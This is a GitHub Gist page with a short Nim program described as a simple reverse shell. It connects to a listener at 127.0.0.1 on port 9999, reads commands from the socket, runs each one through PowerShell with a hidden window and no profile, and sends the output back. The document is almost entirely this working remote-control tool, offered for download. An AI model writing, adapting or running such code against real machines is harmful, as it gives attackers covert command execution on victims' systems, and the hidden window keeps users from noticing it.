-
-
Save pawnmuncher/6e1b9dc8bc8e08196c8215dbacf74188 to your computer and use it in GitHub Desktop.
A simple reverse shell written in Nim
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import net | |
import osproc | |
import strformat | |
# Create Socket | |
let port = 9999 | |
let address = "127.0.0.1" | |
let sock = newSocket() | |
# Connect to listener | |
sock.connect(address, Port(port)) | |
#Create Prompt | |
let prompt = "PS> " | |
while true: | |
# Send prompt | |
send(sock, prompt) | |
# Receive Data | |
# Run command | |
let cmd = recvLine(sock) | |
let output = | |
execProcess(fmt"powershell.exe -nop -w hidden -c '{cmd}'") | |
send(sock, output) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment